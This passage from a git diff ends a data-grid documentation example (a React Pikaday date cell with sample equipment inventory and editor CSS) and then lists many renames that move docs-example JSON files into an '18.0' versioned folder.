'2025-11-10',\n operationalStatus: 'Operational',\n },\n {\n id: 912663,\n itemName: 'Comm Array',\n itemNo: 'ZR-56',\n leadEngineer: 'Louise Banks',\n cost: 125000,\n inStock: false,\n category: 'Communication',\n itemQuality: 0,\n origin: '🇯🇵 Japan',\n quantity: 0,\n valueStock: 0,\n repairable: true,\n supplierName: 'CommTech',\n restockDate: '2025-12-20',\n operationalStatus: 'Decommissioned',\n },\n {\n id: 315806,\n itemName: 'Habitat Dome',\n itemNo: 'UJ-23',\n leadEngineer: 'Dr. Ryan Stone',\n cost: 1000000,\n inStock: true,\n category: 'Shelter',\n itemQuality: 93,\n origin: '🇨🇦 Canada',\n quantity: 3,\n valueStock: 3000000,\n repairable: false,\n supplierName: 'DomeInnovate',\n restockDate: '2026-01-25',\n operationalStatus: 'Operational',\n },\n {\n id: 954632,\n itemName: 'Oxygen Unit',\n itemNo: 'FK-87',\n leadEngineer: 'Dr. Grace Augustine',\n cost: 600000,\n inStock: true,\n category: 'Life Support',\n itemQuality: 85,\n origin: '🇺🇸 USA',\n quantity: 15,\n valueStock: 9000000,\n repairable: true,\n supplierName: 'OxyGenius',\n restockDate: '2026-03-02',\n operationalStatus: 'Awaiting Parts',\n },\n {\n id: 734944,\n itemName: 'Processing Rig',\n itemNo: 'LK-13',\n leadEngineer: 'Jake Sully',\n cost: 350000,\n inStock: true,\n category: 'Mining',\n itemQuality: 81,\n origin: '🇦🇺 Australia',\n quantity: 25,\n valueStock: 8750000,\n repairable: true,\n supplierName: 'RigTech',\n restockDate: '2026-04-15',\n operationalStatus: 'Ready for Testing',\n },\n {\n id: 834662,\n itemName: 'Navigation',\n itemNo: 'XP-24',\n leadEngineer: 'Dr. Ellie Arroway',\n cost: 450000,\n inStock: true,\n category: 'Navigation',\n itemQuality: 89,\n origin: '🇫🇷 France',\n quantity: 8,\n valueStock: 3600000,\n repairable: false,\n supplierName: 'NavSolutions',\n restockDate: '2026-05-30',\n operationalStatus: 'In Maintenance',\n },\n {\n id: 714329,\n itemName: 'Surveyor Arm',\n itemNo: 'QA-86',\n leadEngineer: 'Mark Watney',\n cost: 100000,\n inStock: true,\n category: 'Exploration',\n itemQuality: 78,\n origin: '🇺🇸 USA',\n quantity: 40,\n valueStock: 4000000,\n repairable: true,\n supplierName: 'ExploreTech',\n restockDate: '2026-07-12',\n operationalStatus: 'Decommissioned',\n },\n];\n\nconst data = inputData.map((item) => ({\n ...item,\n restockDate: moment(new Date(item.restockDate)).format(DATE_FORMAT_US),\n}));\n/* end:skip-in-preview */\n\nconst ExampleComponent = () => {\n return (\n \n \n \n \n \n \n \n );\n};\n\nexport default ExampleComponent;","/src/example1.css":".ht_editor_visible > input {\n width: 100%;\n height: 100%;\n box-sizing: border-box !important;\n border: none;\n border-radius: 0;\n outline: none;\n margin-top: -1px;\n margin-left: -1px;\n box-shadow: inset 0 0 0 var(--ht-cell-editor-border-width, 2px)\n var(--ht-cell-editor-border-color, #1a42e8),\n 0 0 var(--ht-cell-editor-shadow-blur-radius, 0) 0\n var(--ht-cell-editor-shadow-color, transparent) !important;\n background-color: var(--ht-cell-editor-background-color, #ffffff) !important;\n padding: var(--ht-cell-vertical-padding, 4px)\n var(--ht-cell-horizontal-padding, 8px) !important;\n border: none !important;\n font-family: inherit;\n font-size: var(--ht-font-size);\n line-height: var(--ht-line-height);\n}\n.ht_editor_visible > input:focus-visible {\n border: none !important;\n outline: none !important;\n}"},"docsPath":"recipes/cell-types/pikaday/react/example1.tsx","breadcrumb":["Recipes","Cell Types","Pikaday"],"guide":"recipes/cell-types/pikaday/pikaday.md","guideTitle":"Pikaday","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/recipes/cell-types/pikaday","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__radio__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__radio__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__rating__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__rating__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__rating__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__rating__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__rating__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__rating__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__rating__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__rating__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__rating__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__rating__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__rating__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__rating__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__rating__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__rating__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__rating__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__rating__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__cell-types__react-rating__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__react-rating__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__cell-types__react-rating__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__cell-types__react-rating__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__column-management__column-visibility__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__column-visibility__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__column-management__column-visibility__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__column-visibility__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__column-management__column-visibility__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__column-visibility__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__column-management__column-visibility__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__column-visibility__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__column-management__column-visibility__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__column-visibility__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__column-management__column-visibility__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__column-visibility__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__column-management__column-visibility__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__column-visibility__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__column-management__column-visibility__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__column-visibility__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__column-management__freeze-columns__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__freeze-columns__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__column-management__freeze-columns__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__freeze-columns__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__column-management__freeze-columns__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__freeze-columns__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__column-management__freeze-columns__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__freeze-columns__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__column-management__freeze-columns__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__freeze-columns__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__column-management__freeze-columns__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__column-management__freeze-columns__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__context-menu__custom-context-menu__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__custom-context-menu__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__context-menu__custom-context-menu__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__custom-context-menu__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__context-menu__custom-context-menu__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__custom-context-menu__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__context-menu__custom-context-menu__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__custom-context-menu__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__context-menu__custom-context-menu__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__custom-context-menu__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__context-menu__custom-context-menu__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__custom-context-menu__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__context-menu__row-operations__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__row-operations__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__context-menu__row-operations__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__row-operations__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__context-menu__row-operations__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__row-operations__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__context-menu__row-operations__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__row-operations__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__context-menu__row-operations__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__row-operations__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__context-menu__row-operations__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__row-operations__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__context-menu__row-operations__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__row-operations__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__context-menu__row-operations__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__context-menu__row-operations__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__auto-save-backend__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__auto-save-backend__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__auto-save-backend__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__auto-save-backend__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__auto-save-backend__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__auto-save-backend__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__auto-save-backend__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__auto-save-backend__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__auto-save-backend__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__auto-save-backend__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__auto-save-backend__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__auto-save-backend__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__auto-save-backend__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__auto-save-backend__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__auto-save-backend__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__auto-save-backend__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-graphql__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-graphql__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__load-data-rest-api__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__load-data-rest-api__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__sync-two-grids__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__sync-two-grids__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__sync-two-grids__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__sync-two-grids__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__sync-two-grids__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__sync-two-grids__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__sync-two-grids__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__sync-two-grids__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__sync-two-grids__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__sync-two-grids__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__sync-two-grids__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__sync-two-grids__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__sync-two-grids__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__sync-two-grids__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__sync-two-grids__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__sync-two-grids__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__undo-redo-custom-ui__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__undo-redo-custom-ui__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__undo-redo-custom-ui__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__undo-redo-custom-ui__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__undo-redo-custom-ui__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__undo-redo-custom-ui__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__undo-redo-custom-ui__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__undo-redo-custom-ui__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__undo-redo-custom-ui__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__undo-redo-custom-ui__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__undo-redo-custom-ui__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__undo-redo-custom-ui__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__data-management__undo-redo-custom-ui__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__undo-redo-custom-ui__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__data-management__undo-redo-custom-ui__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__data-management__undo-redo-custom-ui__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__editing-validation__dependent-dropdowns__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__dependent-dropdowns__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__editing-validation__dependent-dropdowns__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__dependent-dropdowns__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__editing-validation__dependent-dropdowns__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__dependent-dropdowns__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__editing-validation__dependent-dropdowns__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__dependent-dropdowns__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__editing-validation__dependent-dropdowns__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__dependent-dropdowns__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__editing-validation__dependent-dropdowns__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__dependent-dropdowns__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__editing-validation__dependent-dropdowns__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__dependent-dropdowns__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__editing-validation__dependent-dropdowns__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__dependent-dropdowns__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__editing-validation__row-validation-error-summary__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__row-validation-error-summary__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__editing-validation__row-validation-error-summary__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__row-validation-error-summary__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__editing-validation__row-validation-error-summary__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__row-validation-error-summary__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__editing-validation__row-validation-error-summary__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__row-validation-error-summary__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__editing-validation__row-validation-error-summary__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__row-validation-error-summary__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/recipes__editing-validation__row-validation-error-summary__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__row-validation-error-summary__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/recipes__editing-validation__row-validation-error-summary__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/recipes__editing-validation__row-validation-error-summary__react__example1.tsx.json similarity index 100% rename from 